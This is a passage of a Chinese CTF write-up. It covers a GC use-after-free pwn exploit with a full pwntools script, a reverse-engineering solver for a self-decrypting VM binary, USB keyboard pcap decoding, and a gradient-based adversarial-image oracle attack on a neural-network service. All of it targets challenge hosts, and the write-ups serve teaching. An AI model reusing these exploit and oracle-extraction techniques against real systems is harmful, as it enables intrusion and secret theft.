for each slot: if (live) obj->flags &= ~MARK;
// 2) 标记“根”:所有 live 且非 intern 的对象
for each slot i:
if (live && !intern)
mark(i, /*recursive=*/(g <= 0) || ((obj->flags & OLD) == 0));
// 3) 老年代记忆集:只有 dirty 的老对象才重扫
if (g > 0)
for each slot i:
if (live && (obj->flags & OLD) && slot.dirty)
mark(i, 1);
// dirty 在下面的清扫阶段统一清零
// 4) 清扫
for each slot:
if (!live) continue;
if (!(obj->flags & MARK)) { // 未标记 = 垃圾
*(u32*)obj = 0xDEAD;
slot.live = 0;
free_stack[free_count++] = idx;
} else {
slot.dirty = 0;
obj->flags |= OLD; // 晋升
}
// 5) 首次 major GC 生成 ledger
if (g > 0 && dword_DE014 < 0) {
if (!free_count) alloc(1, 16*(rand%13+2)); // 制造一个空闲槽
led = alloc(3, 40);
w0 = mix(rand) | 1;
w1 = w0 ^ (mix(rand) | 1);
w2 = w0 ^ (mix(rand) | 1);
w3 = w0 ^ (mix(rand) | 1);
data[0..3] = {w0,w1,w2,w3};
qword_DFAA0 = hash5(data); // 校验和
dword_DE014 = led;
}sub_9630(mark)细节很关键:它把对象的每个 8 字节元素按字面值和所有槽的 off+16 比较,相等即视为引用并递归标记——不看 refmap。
标记阶段用 !intern 跳过共享对象(本意:共享对象是根,不用扫),但清扫阶段没有任何豁免——它们从未被置 MARK,于是每次 GC 都会被回收:
if (v112[20] && !v112[22]) mark(...); // 跳过 intern
...
if (!(obj->flags & MARK)) free(...); // 但清扫不跳过更糟的是标记阶段把所有非 intern 对象都当根,于是普通对象永不回收,共享对象必被回收——与“共享对象永生”的设计完全相反。这就是题面说的“共享的东西不会死,所以写它时连账都不记”。
if (parent->flags & OLD) {
if (!(target->flags & SHARED)) // 目标是共享对象 → 不置 dirty
slot.dirty = 1;
}目标为 intern 时不置 dirty(因为“它不会死”);
写入发生在 parent 还没晋升为老时也不会置 dirty。
而 major GC 只重扫 OLD && dirty 的对象(§4 第 3 步)。于是“年轻数组里存了共享对象引用 → 数组晋升为老 → 数组不 dirty → 不再扫描子对象”就成了一个完美的跨代漏标窗口。
步骤 | 命令 | 堆/GC 状态 |
|---|---|---|
1 |
| I 分配(SHARED, |
2 |
| A 分配(年轻) |
3 |
|
|
4 |
| A 年轻 → 递归扫描 → I 被标活;清扫时 A 晋升 OLD |
5 |
| A 是 OLD 且 dirty=0 → 只标不扫 → I 未标 → 被释放 |
6 | 同一次 gc 尾部 | 首次 major GC 创建 ledger, |
7 |
| A[0] 仍指向 I 的旧偏移 = ledger 数据区 → 读出 w0..w3 |
第 6 步是本题最巧的地方:ledger 是首次 major GC 才创建的秘密对象,而它落点恰好就是第 5 步刚释放的空闲槽——不需要任何堆喷,天然重合。
sub_93B0(brew)的校验:
w = *(u128*)(ledger + 16); // w0, w1
h = seed; for (i=0;i<5;i++) h = mix(h ^ qword[ledger+16+8i]);
if (h != qword_DFAA0) return "ledger torn";
if (op[0] != (w1 ^ w0)) return "wrong ingredients";
if (op[1] != (w0 ^ w2)) return "wrong ingredients";
if (op[2] != (w3 ^ w0)) return "wrong ingredients";
FILE *f = fopen("/flag", "r"); // 通过则打印
while (fgets(buf, 256, f)) fputs(buf, stdout);因为泄漏出来的就是 ledger 本体,哈希天然自洽;只需要把三个派生词写进 op。op 是初始化时 alloc(4,32) 的对象(槽 0),句柄未知,但 8 callx 直接把数字写进它,正好绕开句柄问题。
完整可运行脚本:exp.py
import re
from pwn import context, process, remote
context.log_level = "error"
p = remote("118.24.79.13", 33705) # 本地:process(["./autobrew"])
def menu(c): p.recvuntil(b"> "); p.sendline(c.encode())
def after(s, v): p.recvuntil(s); p.sendline(str(v).encode())
def tail(): return p.recvuntil(b"> ").decode("latin1", "replace")
def s64(x): return x - (1 << 64) if x >= (1 << 63) else x # %ld 饱和
p.recvuntil(b"> ")
menu("2"); after(b"tag: ", 7) # 共享对象 I
h_i = int(re.search(r"h (\d+)", tail()).group(1))
menu("1"); after(b"n: ", 2) # 年轻数组 A
h_a = int(re.search(r"h (\d+)", tail()).group(1))
menu("3"); after(b"h: ", h_a); after(b"i: ", 0); after(b"v: ", h_i); tail()
menu("6"); after(b"gen: ", 0); tail() # I 被 A 标活,A 晋升
menu("6"); after(b"gen: ", 1); assert "freed 1" in tail() # I 被清扫 + ledger 复用
menu("5"); after(b"h: ", h_a); after(b"i: ", 0); after(b"n: ", 5)
w = [int(x) for x in re.findall(r"\d+", tail().split("1 arr")[0])]
w0, w1, w2, w3 = w[:4]
op = [w0 ^ w1, w0 ^ w2, w0 ^ w3]
menu("8"); after(b"decl: ", 3); after(b"emit: ", 3)
for v in op: after(b"v: ", s64(v))
assert "callx ok" in tail()
menu("a"); print(p.recvrepeat(3).decode()) # -> flag{...}geti: 7735676907883055347 16695304190292351006 8068534135123741398 4647981319297629882 0
words: 0x6b5aa5298f8fc8f3 0xe7b1a2b49f77581e 0x6ff9310c062a0ad6 0x4080f2624362feba 0x0
callx ok (3/3)
flag{d7de747b-961b-4679-9d31-c2a5836db1c5}Reverse
YES or NO
Summary
一个 x86-64 静态链接 ELF:init_array 里先跑一段自解密 stub,用自研 LFSR 流密码把 .text.payload 和 .rodata.vmdata 两块数据就地解密;payload 里再有一层异或把 vmdata 还原成 2355 字节的自定义 VM 汇编。VM 把读入的 14 字符做 5 路 32 位混淆(ROR / XOR / ADD / 字节替代表),最后与 5 个常量比较。按 handler 语义实现符号执行器交给 z3,一次解出 14 字符。
最终 flag:flag{0RmXknKSdtsVqx}
Step 1: 定位自解密链并抽出 VM 代码
file 看是 ELF 64-bit LSB executable, static, not stripped,但 .text 里几乎全是 libc。真正的逻辑在 init_array(0x4abf60):
0x4abf60: 0x47ede0 <- 解密 stub (.text.stub @0x47eda0, 209 字节)
0x4abf68: 0x401a80 <- glibc 的 frame_dummy 类stub 做两件事:
mprotect(0x480000, 0x2000, PROT_RWX)后,用sub_401830生成的密钥流异或[0x480000, 0x480000+0x1265)—— 这是段.text.payload(文件偏移0x80000)。把流密码 前 16 字节输出当成新 key(
keysize/key复用同一 4 个 32 位寄存器),再解密[0x482000, +0x2250)—— 段.rodata.vmdata(文件偏移0x82000)。
sub_401830 是四个 32 位 LFSR 的合并输出(密钥 4 个字来自 stub 内常量):
b = ((v4&v3) | (v6&~v5)) ^ (v6<<5) ^ v3 ^ (v4>>8) ^ (v5>>3) # 取低 8 位输出
vi = (parity(vi & mask_i) | (vi<<1)) & 0xffffffff # mask = 0x80000057/63/af/d3解密后 payload[0:4] == f3 0f 1e fa(endbr64)、vmdata[0:4] == 0x933(字节码长度),两层都验证通过。
第三层在 VM 初始化函数 sub_480440 里:bytecode[i] = vmdata[4 + (i & 0xf)] ^ vmdata[0x14 + i],共 2355 字节。vmdata[0x2014:0x2114] 是后面要用到的 256 字节字节替代表(运行时地址 0x484014)。
Step 2: 还原自定义 VM 语义
sub_480000 是一个被扁平化过的状态机(case 由 (state*0x2f - 0xb91) & 0x3f 算出,跳表在 0x485010),核心只有一步:opcode = buf[pc++],然后 call [struct + 0x528 + opcode*8],共 36 个有效 handler。
VM 上下文结构体(sub_480440 初始化,0xd28 字节):
偏移 | 含义 |
|---|---|
| bytecode 指针 / 长度 / pc |
| dword 栈(256 项) |
| 栈顶指针 sp |
| 64 个 dword 变量 v0..v63 |
| flags(bit0 = 上条比较结果,bit31 = halt) |
| 输入字符串指针 / 长度(14) |
| handler 表 |
逐个 handler 读完后的指令集(本程序实际只用到其中 17 条):
opcode | 语义 | opcode | 语义 |
|---|---|---|---|
184 | PUSHI imm32 | 121 | POP → var[imm8&0x3f] |
94 | PUSHB imm8 | 170/112/213 | AND / OR / XOR |
74 | PUSHV var[imm8] | 53/17 | SHL / SHR(a op b,b 为栈顶) |
219 | PUSHV var[pop()] | 15/43 | ROL / ROR |
89 / 111 / 246 | DUP / SWAP / POP | 2/254/220/88 | 比较 EQ/NE/LT/GT → flags.bit0 |
72/28/243/9/24 | ADD/SUB/MUL/DIV/MOD | 232/119/54 | JZ(z=0) / JNZ / JMP rel16 |
59/244/183/110 | INC/DEC/NEG/NOT | 18 | HALT(flags |= 0x80000000) |
98 | LOAD:push input[pop()] | 13/216 | POPCNT / BSWAP |
234 | 字节替代: |
把 2355 字节反汇编(dis.txt)后结构一目了然:14 次 PUSHB k; LOAD; POPV 5(取第 k 个字符到 v5),每次紧跟 5 个混淆块更新 v0..v4,最后是 5 组 PUSHV i; PUSHI K; EQ; JZ,全部相等才会走到 PUSHB 1; HALT。
单轮的样子(以 v0 为例,其余同构):
v0 = ror(v0, 8) ^ 0x7763edc8 ^ c ^ 0x01cc7455 # DUP;SHR 8;SWAP;SHL 24;OR 即 ror 8
v2 额外一步:v2 = (v2 & ~0xff) | S[v2 & 0xff] # 唯一用到替代表的一路Step 3: 符号执行 + z3 求解
14 个输入字节作为 32 位位向量,按上表逐条解释指令(替代表用 z3 Array 约束),在 5 个 JZ 处只保留“比较成立”的成功路径,最后把 v0..v4 约束成 5 个目标常量,并限定字符可打印:
#!/usr/bin/env python3
"""scb_2026 reverse/attachment 一键求解:ELF -> 三层解密 -> VM 符号执行 -> flag"""
import struct, sys
import z3
PATH = sys.argv[1] if len(sys.argv) > 1 else 'attachment'
raw, M32 = open(PATH, 'rb').read(), 0xFFFFFFFF
# ---- 1) LFSR 流密码 (sub_401830) ----
def fold(t): # parity 折叠
v7 = (((t >> 16) ^ t) >> 8) ^ (t >> 16) ^ t
v8 = (((v7 >> 4) ^ v7) >> 2) ^ (v7 >> 4) ^ v7
return (((v8 >> 1) ^ v8) & 1)
def keystream(n, key):
v3, v4, v5, v6 = key
out = bytearray()
for _ in range(n):
b = ((v4 & v3) | (v6 & (~v5 & M32))) ^ (v6 << 5) ^ v3 ^ (v4 >> 8) ^ (v5 >> 3)
out.append(b & 0xFF)
v3 = (fold(v3 & 0x80000057) | ((2 * v3) & M32)) & M32
v4 = (fold(v4 & 0x80000063) | ((2 * v4) & M32)) & M32
v5 = (fold(v5 & 0x800000AF) | ((2 * v5) & M32)) & M32
v6 = (fold(v6 & 0x800000D3) | ((2 * v6) & M32)) & M32
return bytes(out)
KEY0 = (0x35676d17, 0x480fdc83, 0xbfd1e727, 0xe0a0ce65) # stub 内常量
K0 = keystream(0x3000, KEY0)
PAY_OFF, PAY_LEN = 0x80000, 0x1265 # .text.payload @0x480000
VMD_OFF, VMD_LEN = 0x82000, 0x2250 # .rodata.vmdata @0x482000
payload = bytes(raw[PAY_OFF + i] ^ K0[i] for i in range(PAY_LEN))
assert payload[:4] == b'\xf3\x0f\x1e\xfa' # endbr64
KEY1 = struct.unpack('<4I', K0[:16]) # 第二层 key = 前 16 字节密钥流
K1 = keystream(VMD_LEN, KEY1)
vmdata = bytes(raw[VMD_OFF + i] ^ K1[i] for i in range(VMD_LEN))
assert struct.unpack('<I', vmdata[:4])[0] == 0x933
# ---- 2) 第三层: bytecode 还原 ----
n = struct.unpack('<I', vmdata[:4])[0]
bytecode = bytes(vmdata[4 + (i & 0xF)] ^ vmdata[0x14 + i] for i in range(n))
SBOX = vmdata[0x2014:0x2014 + 256] # 替代表 @0x484014
# ---- 3) VM 符号执行 ----
IMMLEN = {184: 4, 94: 1, 74: 1, 121: 1, 234: 1, 54: 2, 232: 2, 119: 2}
def symrun(chars):
L = 32
S = z3.Array('S', z3.BitVecSort(8), z3.BitVecSort(8))
st, var, pc, flag, last = [], [z3.BitVecVal(0, L) for _ in range(64)], 0, z3.BitVecVal(0, L), None
conds = []
while pc < len(bytecode):
op = bytecode[pc]; k = IMMLEN.get(op, 0); imm = bytecode[pc+1:pc+1+k]; pc += 1 + k
if op == 184: st.append(z3.BitVecVal(struct.unpack('<I', imm)[0], L))
elif op == 94: st.append(z3.BitVecVal(imm[0], L))
elif op == 74: st.append(var[imm[0] & 0x3f])
elif op == 121: var[imm[0] & 0x3f] = st.pop() if st else z3.BitVecVal(0, L)
elif op == 89: st.append(st[-1] if st else z3.BitVecVal(0, L))
elif op == 111: st[-1], st[-2] = st[-2], st[-1]
elif op == 98: # LOAD input[pop()]
idx = st.pop() if st else z3.BitVecVal(0, L)
v = z3.BitVecVal(0, L)
for i in range(len(chars)):
v = z3.If(idx == i, z3.ZeroExt(24, chars[i]), v)
st.append(v)
elif op == 234: # TABLE: 低字节代换
x = st.pop()
st.append(z3.Concat(z3.Extract(31, 8, x), z3.Select(S, z3.Extract(7, 0, x))))
elif op == 72: b, a = st.pop(), st.pop(); st.append(a + b)
elif op == 213: b, a = st.pop(), st.pop(); st.append(a ^ b)
elif op == 112: b, a = st.pop(), st.pop(); st.append(a | b)
elif op == 170: b, a = st.pop(), st.pop(); st.append(a & b)
elif op == 53: b, a = st.pop(), st.pop(); st.append(a << b)
elif op == 17: b, a = st.pop(), st.pop(); st.append(z3.LShR(a, b))
elif op == 2:
b, a = st.pop(), st.pop(); last = (a, b)
flag = z3.If(a == b, flag | 1, flag & 0xfffffffe)
elif op == 232: # JZ: 只走"相等"的成功路径
f = z3.simplify(flag)
if z3.is_bv_value(f):
if (f.as_long() & 1) == 0:
pc = pc + struct.unpack('<h', imm)[0]
else:
conds.append(last[0] == last[1]); flag = z3.BitVecVal(1, L)
elif op == 18: return var, S, conds # HALT
else: raise RuntimeError('unhandled opcode %d @%d' % (op, pc))
chars = [z3.BitVec('c%d' % i, 8) for i in range(14)]
var, S, conds = symrun(chars)
sol = z3.Solver()
for i, b in enumerate(SBOX):
sol.add(z3.Select(S, z3.BitVecVal(i, 8)) == z3.BitVecVal(b, 8))
for c in conds:
sol.add(c)
for i, t in enumerate([0x5c34e84f, 0xc1ed7a6f, 0x128bd11f, 0xaf34ef08, 0xe012a418]):
sol.add(var[i] == z3.BitVecVal(t, 32)) # bytecode 尾部的 5 个 EQ 常量
for c in chars:
sol.add(z3.UGE(c, 0x20), z3.ULE(c, 0x7e)) # 可打印
assert sol.check() == z3.sat
m = sol.model()
body = ''.join(chr(m.eval(c).as_long()) for c in chars)
print('flag{%s}' % body)输出:
$ python solve.py attachment
flag{0RmXknKSdtsVqx}再加一条 Or(chars[i] != model) 后求解为 unsat,说明可打印范围内解唯一。
交叉验证:不信任自己写的解释器,另外用 Unicorn 直接跑解密后的真机代码——加载 ELF 段、把 payload.bin/vmdata.bin 写回 0x480000/0x482000、手工填好结构体和 handler 表前置状态,直接 call 0x480000(VM 入口):输入 0RmXknKSdtsVqx 得到 sp=1, stack[0]=1;换成 AAAAAAAAAAAAAA 得到 stack[0]=0。与 z3 结论一致。
Flag
flag{0RmXknKSdtsVqx}Misc
键盘上的悄悄话
题目概要
attachment.pcapng 中是 76 帧 USB HID 键盘流量。数据没有做任何加密,flag 就是被原样敲进去的。按时间顺序解出 HID boot 协议报文,即可还原明文。
第一步:确认抓包类型
文件虽然叫 .pcapng,但实际上是传统 libpcap 格式(magic 为 d4c3b2a1),链路类型为 249。scapy 没有对应的 dissector,会提示 unknown LL type [249],并把每帧当作裸 Raw 数据返回。
$ xxd attachment.pcapng | head -2
00000000: d4c3b2a1 0200 0400 0000 0000 0000 0000 ................
00000010: ffff 0000 f900 0000 ........
^^^^ 链路类型 249每条记录长度固定为 35 字节。对全部 76 帧做逐字节取值统计,只有三个位置会发生变化:
偏移 | 内容 |
|---|---|
2–3 | 单调递增的帧序号 |
27 | HID 修饰键字节( |
29 | HID 键码 |
因此帧结构是「固定的 27 字节前缀 + 标准 8 字节 HID boot 键盘报文」:
偏移: 0 ................ 26 | 27 28 29 30 31 32 33 34
[ 27 字节前缀 ][修饰键][保留字节][key0][key1][key2][key3][key4][key5]帧序列是按下 / 松开交替出现的,松开的帧全是零报文,所以只要丢掉 key == 0 的帧,剩下的正好就是敲入的字符序列。
第二步:按 HID usage 表解码
from scapy.all import rdpcap
KEYMAP = {
0x04:'a',0x05:'b',0x06:'c',0x07:'d',0x08:'e',0x09:'f',0x0a:'g',0x0b:'h',
0x0c:'i',0x0d:'j',0x0e:'k',0x0f:'l',0x10:'m',0x11:'n',0x12:'o',0x13:'p',
0x14:'q',0x15:'r',0x16:'s',0x17:'t',0x18:'u',0x19:'v',0x1a:'w',0x1b:'x',
0x1c:'y',0x1d:'z',
0x1e:'1',0x1f:'2',0x20:'3',0x21:'4',0x22:'5',0x23:'6',0x24:'7',0x25:'8',
0x26:'9',0x27:'0',
0x2d:'-',0x2e:'=',0x2f:'[',0x30:']',0x33:';',0x34:"'",0x36:',',0x37:'.',
0x38:'/',0x2c:' ',
}
SHIFTED = {'[':'{',']':'}',';':':',"'":'"',',':'<','.':'>','/':'?','-':'_','=':'+',
'1':'!','2':'@','3':'#','4':'$','5':'%','6':'^','7':'&','8':'*','9':'(','0':')'}
out = []
for pkt in rdpcap('attachment.pcapng'):
b = bytes(pkt.load) # 裸帧,35 字节
mod, key = b[27], b[29] # HID 报文:[修饰键, 保留字节, key0..key5]
if key == 0: # 松开按键的帧
continue
ch = KEYMAP.get(key, '?')
if mod & 0x22: # 左 Shift(0x02) 或右 Shift(0x20)
ch = SHIFTED.get(ch, ch.upper())
out.append(ch)
print(''.join(out))运行输出:
flag{02a8b3ceedab6c80e6c7d8ca2374eef3}第三步:结果自检
敲入序列为 f l a g → 带 Shift 的 0x2f → { → 32 个十六进制字符 → 带 Shift 的 0x30 → }。这正好是 flag{<类 MD5 十六进制>} 的形式;而且整个抓包里唯一用到 Shift 的按键就是这两个方括号,说明对修饰键的解读是正确的,而不是巧合。
Flag
flag{02a8b3ceedab6c80e6c7d8ca2374eef3}复现说明
环境为
scapy 2.8.0+ Python 3,无需其他工具;直接用 Wireshark 打开同样无法解析链路类型 249。那 27 字节前缀并不是真实的 usbmon 头(真实头为 48 或 64 字节),说明该抓包是手工裁剪过头部构造的。但全部 76 帧的字段对齐完全一致,因此按固定偏移读取可以直接生效。
AI
neuralvault
TL;DR
这题表面是“让 16 张底片通过神经网络验片”,实际是一个带匹配数反馈的 Mastermind / 侧信道问题:
附件里的 3 层 MLP 是一个随机初始化、未训练的网络。它的输出没有任何语义,但完全可微、完全公开
靶机用这个网络给 16 张图算
code = floor(top1_prob * 256),并与内存里 16 个隐藏 code 比较,只返回“有多少个槽同时匹配 required_class 和 target_code”利用白盒梯度,可以在
L∞ ≤ 0.25内把任意槽位做成任意 required_class + 任意 code (120–225),于是我们获得了“任意设置 16 个槽的 code”的能力先花 106 次查询做直方图,恢复 16 个隐藏 code 的多重集合;再用随机共轭循环移位扫描,把“哪个 code 属于哪个槽”变成一个排列问题;用 z3 约束求解,22 次扫描后唯一确定
最后提交正确 code 向量,
matches = 16,靶机返回 flag
总查询数:106(直方图)+ 22(扫描)+ 1(验证)= 129,剩余 25 次
附件逆向
inference.py
核心常量:
MAGIC = b"NLVL"
_WK = hashlib.sha256(b"NeuralLocksmith").digest()[:4]
TEMP = np.float32(1.25)
QUANT_SCALE = 256
_A1 = np.float32(1.2)
_A2 = np.float32(0.05)激活函数:
def act(a):
return (1.2 * np.tanh(a) + 0.05 * a).astype(np.float32)前向:
h1 = act(x @ W[0].T + b[0])
h2 = act(h1 @ W[1].T + b[1])
z = h2 @ W[2].T + b[2]
p = softmax(z / 1.25)
code = floor(top1_prob * 256)模型结构:784 → 256 → 256 → 10
NLVL 权重容器
load_model() 的布局:
MAGIC | u32 n_layers |
per layer:
u32 rows, u32 cols,
rows*cols 个 f32(按转置存储,字节被 XOR 掩码),
rows 个 f32 bias(同样被掩码)掩码:
a = np.frombuffer(buf, dtype=np.uint8).copy()
k = np.frombuffer(hashlib.sha256(b"NeuralLocksmith").digest()[:4], dtype=np.uint8)
a ^= np.tile(k, a.size // 4 + 1)[:a.size]解析结果:
layer | shape | 说明 |
|---|---|---|
W0 | 256 × 784 | 输入层 |
W1 | 256 × 256 | 隐藏层 |
W2 | 10 × 256 | 输出层 |
b0 | 256 | |
b1 | 256 | |
b2 | 10 |
文件长度刚好 1,077,320 字节,off == len(blob),没有 trailing data
refs.npy
shape = (16, 28, 28)
dtype = float32
range = [0, 1]16 张 28×28 灰度图。可视化后是低频平滑噪声,带一个中心亮、边缘暗的固定 vignette;去除均值后,16 张图之间的相关性接近 0,说明是 16 张独立的随机纹理,而不是真实的 MNIST 数字
模型是随机网络
几个关键证据:
第一层 256 个 28×28 filter 全是噪声,没有任何数字笔画结构。
把 16 张 refs 输入,全部预测为 class 1,置信度 0.785–0.998。
用 MNIST 测试集前 2000 张评估,准确率约 10.65%,就是 10 类随机猜的水平。
权重标准差:
W0 std ≈ 0.03554 ≈ 1/√784
W1 std ≈ 0.0625 = 1/√256
W2 std ≈ 0.504 ≈ 8/√256
这是典型的“按 fan-in 缩放的高斯随机初始化”,输出层再放大 8 倍,使 softmax 容易饱和。它不是训练出来的分类器,而是一个固定的随机函数。
这很重要:既然是随机函数,就不存在“正确数字”一说;任何 class / confidence 都可以通过白盒优化做出来。
靶机接口
GET /
{
"challenge": "NeuralVault",
"story": "The vault key is a 16-byte sequence of quantized confidences. It was never written down: the codes live only in this node's memory.",
"spec": {
"model": "3-layer MLP 784-256-256-10, weights.bin (NLVL container)",
"reference_inference": "inference.py -- byte exact; the node runs this exact code path",
"softmax_temperature": 1.25,
"quantization": "code = floor(top1_prob * 256)",
"constraints": {
"pixels": "[0,1]",
"linf_budget_vs_refs.npy": 0.25,
"slots": 16
},
"published": {
"required_classes": [1,3,3,7,0,6,6,6,9,0,4,2,1,5,7,8],
"hidden_code_range": [120,225],
"note": "the hidden codes are randomized per node instance"
}
},
"feedback": {
"matches": "Number of slots matching both the required class and the target code."
},
"limits": { "check_per_instance": 160 },
"endpoints": {
"GET /": "this info",
"POST /check": "{\"images\": [[784 floats] x 16]} -> total match count + flag on full unlock"
}
}POST /check
请求:
{"images": [[784 floats], ... 共 16 行 ...]}正常响应:
{"status": "ok", "matches": 0, "check_left": 159}解锁响应:
{
"status": "unlocked",
"matches": 16,
"check_left": 25,
"flag": "flag{7a14b2a1-f18b-4c2a-a2d7-540a903b0809}"
}约束:
图像 16 × 784;
像素必须在
[0,1];每张图与
refs.npy对应图的 L∞ 距离 ≤ 0.25;每次实例最多 160 次
check;返回的
matches是“class 和 code 同时匹配的槽数”,不告诉你是哪几个槽。
问题建模
把第 i 个槽的隐藏 code 记为:
t_i ∈ {0, 1, ..., 105} (实际 code = 120 + t_i)我们提交 16 张图,模型对每个槽输出一个 code c_i。靶机的反馈是:
S = Σ_i [ c_i == 120 + t_i AND class_i == required_class_i ]因为我们已经能在 L∞ 预算内把每个槽的 class 固定成 required_class_i,所以问题简化为:
S = Σ_i [ c_i == 120 + t_i ]即:我们选择一个 16 维的 code 向量 c,靶机返回它与隐藏向量 t 的相等坐标个数。
这是一个只有“黑钉”(black pegs)的 Mastermind:
16 个 peg;
106 种颜色;
每次猜一个颜色向量;
反馈是“猜对的 peg 数”,不告诉你是哪几个。
隐藏 code 每个实例随机,范围固定 120–225。
第一阶段:构造“任意 code”的底片
目标
对每个槽 i 和每个 code k ∈ [120,225],构造 x,满足:
x ∈ [0,1]^784
||x - refs[i]||∞ ≤ 0.25
argmax softmax(z(x)/1.25) = required_class[i]
floor(p_top1 * 256) = k损失函数
记目标 class 为 c,目标概率为:
p* = (k + 0.5) / 256取区间中点,给量化边界留最大余量。
损失:
L = (p_c - p*)^2
+ λ * Σ_{j≠c} max(z_j - z_c + margin, 0)^2其中:
λ = 50margin = 0.05第二项保证
c是 top-1,且其他 logit 至少比z_c低 0.05。
为什么不能只优化 logit gap?
因为当 p* < 0.5(code 120–127)时,p_c 可以小于 0.5 但仍然是 top-1:只要其他 9 类的概率分散,每一类都低于 p_c 即可。所以必须约束“每个其他类”,而不是“其他类之和”。
反向传播
前向:
pre1 = x W0^T + b0
h1 = act(pre1)
pre2 = h1 W1^T + b1
h2 = act(pre2)
z = h2 W2^T + b2
p = softmax(z / T)softmax 的 Jacobian:
dp/dz = (diag(p) - p p^T) / T激活导数:
dact(a) = 1.2 * (1 - tanh(a)^2) + 0.05反传到输入:
dL/dh2 = dL/dz @ W2
dL/dpre2 = dL/dh2 * dact(pre2)
dL/dh1 = dL/dpre2 @ W1
dL/dpre1 = dL/dh1 * dact(pre1)
dL/dx = dL/dpre1 @ W0优化器:Adam,学习率 0.02 → 0.01,迭代 800–1500 次。
投影:
lo = max(0, ref - 0.2495)
hi = min(1, ref + 0.2495)
x = clip(x, lo, hi)这里用 0.2495 而不是 0.25,给浮点和 JSON 往返留 0.0005 的余量。
锚点法:只优化两张图,插值出 106 个 code
对每个槽,分别优化:
x_low:code 120(p ≈ 0.469)x_high:code 225(p ≈ 0.879)
然后定义一条直线:
x(t) = (1 - t) * x_low + t * x_high, t ∈ [0,1]因为 L∞ 球是凸的,x(t) 自动满足 ||x(t)-ref||∞ ≤ 0.2495。
在 t 上取 20001 个点,计算 p_c(t),对每个 code k 找:
floor(p_c(t) * 256) == k并选择离量化边界最远的点(margin 最大)。
这样 16 个槽 × 106 个 code 只需要 32 张锚点图,而不是 1696 次独立优化。
实测:
每个槽 106/106 个 code 全部可达
最小 margin ≈ 0.00193最终得到 codebook:
codebook.npy: shape (16, 106, 784), float32
book[i, k-120] = 第 i 槽、code k 的图并对整个 codebook 用 inference.py 逐字节验证:
BAD count = 0为什么能稳定命中 code
code 的区间宽度是 1/256 ≈ 0.003906。我们取区间中点,最小 margin 约 0.00193,约等于半个区间。float32 的舍入误差在 1e-7 量级,远小于 margin;JSON 把 float32 转成 Python float 再转回 float32 也是精确的,所以本地验证通过的图,靶机算出的 code 不会变
第二阶段:oracle 攻击
直方图:恢复 code 多重集合
对每个 code k = 120..225,构造一个查询:16 个槽全部设成 k
因为每个槽的 class 已经正确,反馈:
S_k = #{ i : t_i == k }这正是隐藏 code 的直方图
106 次查询后,我们得到:
hist[k] = S_k, k = 120..225
sum(hist) = 16sum = 16 是一个非常重要的自检:
如果本地 codebook 和靶机推理完全一致,16 个槽每个恰好贡献一次,和必为 16。
如果某个查询被拒绝、或本地算出的 code 与靶机不同,和就会小于/大于 16
实际运行中:
[*] histogram sum = 16 (must be 16)一次通过,说明 codebook 与靶机完全对齐。
此时我们知道了 16 个 code 的多重集合,但不知道哪个 code 属于哪个槽。
扫描:把“分配”变成排列问题
把多重集合展开成 16 个“出现”(occurrence):
T = [k_0, k_1, ..., k_15]即使有重复 code,也先按出现编号。
一次扫描由两个随机排列定义:
P = T 的随机排列
B = T 的另一个随机排列对每个槽 i,找到 B[i] 在 P 中的位置 r_i(相同值按出现贪心匹配)。
第 a 次移位查询:
c_i = P[(r_i + a) mod 16], a = 0..15也就是说,每个槽沿着 P 的循环顺序走一步。
反馈:
S_a = #{ i : t_i == P[(r_i + a) mod 16] }这等价于“当前分配与隐藏分配之间的不动点数”。
一次完整扫描 = 16 次查询。
z3 约束求解
变量:
v_i ∈ [0, 105] 表示 t_i直方图约束:
PbEq([(v_i == k, 1) for i], hist[k]) = hist[k]扫描约束:
PbEq([(v_i == sigma_i, 1) for i], S) = S其中 sigma_i 是本次查询给第 i 个槽的 code(减 120 后的 0..105)。
唯一性检查:
r = solver.check()
if r == sat:
vec = model(v)
solver.push()
solver.add(Or([v[i] != vec[i] for i in range(16)]))
r2 = solver.check()
solver.pop()
unique = (r2 == unsat)只有 r2 == unsat 才说明“不存在另一个解”,即当前 vec 唯一。注意不能把 unknown 当作唯一。
需要多少次扫描?
模拟结果:
2 次完整扫描(32 次)有时不唯一;
2 次完整扫描 + 3–4 次额外移位,通常唯一;
实际运行中,22 次扫描就唯一了;
最多 48 次扫描也在预算内(106 + 48 + 1 = 155,略超 154,所以脚本会在剩余 1 次时停)。
查询预算:
直方图 106
扫描 22
验证 1
-------------
总计 129初始剩余 154 次,最终剩余 25 次。
完整运行记录(129 次查询,逐条)
起始状态
在正式跑 solver 之前,已经因为探测接口用掉了 6 次 check,所以本次运行的起始值是:
check_left = 154运行方式:
python solve_neuralvault.py --url http://118.24.79.13:34921 --delay 0.8三个阶段:
阶段 | 查询数 | check_left 变化 |
|---|---|---|
直方图 120–225 | 106 | 154 → 48 |
扫描 | 22 | 48 → 26 |
最终 verify | 1 | 26 → 25 |
合计 | 129 | 154 → 25 |
直方图阶段:106 次查询完整表
每次查询把 16 个槽全部设成同一个 code k,返回的 matches 就是该 code 的出现次数 h_k。第一行对应 check_left=153,最后一行对应 check_left=48。
# | code k | matches = h_k | check_left |
|---|---|---|---|
1 | 120 | 0 | 153 |
2 | 121 | 0 | 152 |
3 | 122 | 0 | 151 |
4 | 123 | 1 | 150 |
5 | 124 | 0 | 149 |
6 | 125 | 0 | 148 |
7 | 126 | 0 | 147 |
8 | 127 | 0 | 146 |
9 | 128 | 1 | 145 |
10 | 129 | 0 | 144 |
11 | 130 | 0 | 143 |
12 | 131 | 0 | 142 |
13 | 132 | 0 | 141 |
14 | 133 | 0 | 140 |
15 | 134 | 0 | 139 |
16 | 135 | 0 | 138 |
17 | 136 | 0 | 137 |
18 | 137 | 1 | 136 |
19 | 138 | 0 | 135 |
20 | 139 | 0 | 134 |
21 | 140 | 0 | 133 |
22 | 141 | 2 | 132 |
23 | 142 | 0 | 131 |
24 | 143 | 0 | 130 |
25 | 144 | 0 | 129 |
26 | 145 | 1 | 128 |
27 | 146 | 0 | 127 |
28 | 147 | 0 | 126 |
29 | 148 | 1 | 125 |
30 | 149 | 0 | 124 |
31 | 150 | 0 | 123 |
32 | 151 | 0 | 122 |
33 | 152 | 1 | 121 |
34 | 153 | 0 | 120 |
35 | 154 | 0 | 119 |
36 | 155 | 0 | 118 |
37 | 156 | 0 | 117 |
38 | 157 | 0 | 116 |
39 | 158 | 0 | 115 |
40 | 159 | 0 | 114 |
41 | 160 | 0 | 113 |
42 | 161 | 0 | 112 |
43 | 162 | 0 | 111 |
44 | 163 | 0 | 110 |
45 | 164 | 0 | 109 |
